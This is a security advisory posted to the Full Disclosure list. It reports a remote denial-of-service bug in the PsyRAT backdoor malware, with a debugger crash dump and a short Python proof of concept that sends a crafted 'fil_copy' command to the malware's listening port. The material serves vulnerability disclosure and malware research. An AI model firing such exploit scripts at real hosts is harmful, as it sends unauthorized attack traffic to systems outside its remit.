Date: Mon, 26 Jul 2021 08:34:18 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.PsyRat.b / Remote Denial of Service

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/5817183894cb513239f6aef28895130c_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.PsyRat.b
Vulnerability: Remote Denial of Service
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863.
Third-party attackers who can reach infected systems can send a specially
crafted command payload that results in access violation and crash.
Type: PE32
MD5: 5817183894cb513239f6aef28895130c
Vuln ID: MVID-2021-0307
Dropped files: server.exe
Disclosure: 07/26/2021

Memory Dump:
(f38.160c): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=00000001 edx=0277c51c esi=00000003
edi=00000003
eip=77e5ed3c esp=0277bbcc ebp=0277bd5c iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000206
ntdll!NtWaitForMultipleObjects+0xc:
77e5ed3c c21400          ret     14h

0:001> .ecxr
eax=00000000 ebx=765a38d0 ecx=00000001 edx=0277c51c esi=00000002
edi=0277cd04
eip=77e4f80a esp=0277c508 ebp=0277c50c iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
ntdll!RtlInitAnsiStringEx+0x1a:
77e4f80a 8a01            mov     al,byte ptr [ecx]
 ds:002b:00000001=??
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
kernel32.dll -

0:001> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for server.exe
*** ERROR: Module load completed but symbols could not be loaded for
server.exe

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
ntdll!RtlInitAnsiStringEx+1a
77e4f80a 8a01            mov     al,byte ptr [ecx]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77e4f80a (ntdll!RtlInitAnsiStringEx+0x0000001a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000001
Attempt to read from address 00000001

PROCESS_NAME:  server.exe

ADDITIONAL_DEBUG_TEXT:
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to
set symbol path and load symbols.

MODULE_NAME: server

FAULTING_MODULE: 77df0000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP:  42827767

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  00000001

READ_ADDRESS:  00000001

FOLLOWUP_IP:
server+268d
0040268d e9aaf1ffff      jmp     server+0x183c (0040183c)

MOD_LIST: <ANALYSIS/>

FAULTING_THREAD:  0000160c

BUGCHECK_STR:
 APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_INVALID_POINTER_READ_WRONG_SYMBOLS

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_DEREFERENCE_ONE_BIT

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_ONE_BIT

LAST_CONTROL_TRANSFER:  from 74c615ff to 77e4f80a

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
0277c50c 74c615ff 0277c51c 00000001 00000000 ntdll!RtlInitAnsiStringEx+0x1a
0277c528 74c6d9b5 0277c544 00000001 0277d38d
kernel32!Basep8BitStringToDynamicUnicodeString+0x1f
0277c54c 0040268d 0277c904 00000001 00000000 kernel32!CopyFileA+0x25
0277c550 0277c904 00000001 00000000 00401610 server+0x268d
0277c554 00000000 00000000 00401610 00401610 0x277c904


STACK_COMMAND:  ~1s; .ecxr ; kb

SYMBOL_STACK_INDEX:  3

SYMBOL_NAME:  server+268d

FOLLOWUP_NAME:  MachineOwner

IMAGE_NAME:  server.exe

BUCKET_ID:  WRONG_SYMBOLS

FAILURE_BUCKET_ID:
 NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_c0000005_server.exe!Unknown

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=9863

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

s.send("\r\n")
time.sleep(0.3)

s.send("\r\n")
time.sleep(0.3)

PAYLOAD="fil_copy AAAA"
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.PsyRat.b / Remote Denial of Service")
print("MD5: 5817183894cb513239f6aef28895130c")
print("By Malvuln")


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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